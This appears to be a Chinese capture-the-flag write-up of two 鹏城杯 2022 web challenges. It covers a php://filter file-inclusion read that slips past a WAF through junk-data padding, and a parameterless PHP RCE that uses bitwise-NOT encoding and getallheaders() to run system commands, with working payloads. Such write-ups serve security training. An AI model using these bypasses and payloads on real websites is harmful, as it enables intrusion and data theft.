[鹏城杯 2022]简单包含
重点:脏东西绕过
打开环境
文件包含题目,发现文件路径,尝试一下伪协议,flag=php//filter/read=convert.base64-encode/resource=/var/www/html/flag.php
发现有WAF,可以添加脏数据,有效的绕过WAF,同时又能够成功执行命令
a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=php//filter/read=convert.base64-encode/resource=/var/www/html/flag.php
注意添加足够多的数据才行
[鹏城杯 2022]简单的php
(重点:关于无参数RCE的绕过和取反的学习)
资料:谭谈关于无参数RCE - 先知社区 (aliyun.com)
无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
打开环境明显的无参RCE,然后还不能有数字字母,所以这里可以用取反绕过:
脚本【~为取反符号】
<?php
echo urlencode(~"phpinfo");
?>
思路就是通过没有参数的函数达到命令执行的目的。end() - 将内部指针指向数组中的最后一个元素,并输出。next() - 将内部指针指向数组中的下一个元素,并输出。prev() - 将内部指针指向数组中的上一个元素,并输出。reset() - 将内部指针指向数组中的第一个元素,并输出。each() - 返回当前元素的键名和键值,并将内部指针向前移动。current() -输出数组中的当前元素的值。scandir() //函数返回指定目录中的文件和目录的数组。localeconv() //返回一包含本地数字及货币格式信息的数组。current() //返回数组中的单元,默认取第一个值。pos是current的别名getcwd() //取得当前工作目录dirname() //函数返回路径中的目录部分。array_flip() //交换数组中的键和值,成功时返回交换后的数组array_rand() //从数组中随机取出一个或多个单元array_flip()和array_rand()配合使用可随机返回当前目录下的文件名dirname(chdir(dirname()))配合切换文件路
几种payload
eval(hex2bin(session_id(session_start())));
print_r(current(get_defined_vars()));&b=phpinfo();
eval(next(getallheaders()));
var_dump(getenv(phpinfo()));
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));//查看上一级目录的文件
本题可以利用getallheaders函数来构造。
getallheaders返回当前请求的所有请求头信息
system(current(getallheaders()));
直接可以达到命令执行的目的
payload:
?code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
#大小写即可,弹药注意取反符号的携带
f:ls #任意数字或英文都可以,执行继续找即可
注意:[!%FF]是0的意思,因为前面是个数组,取数组里面的第0项才是木马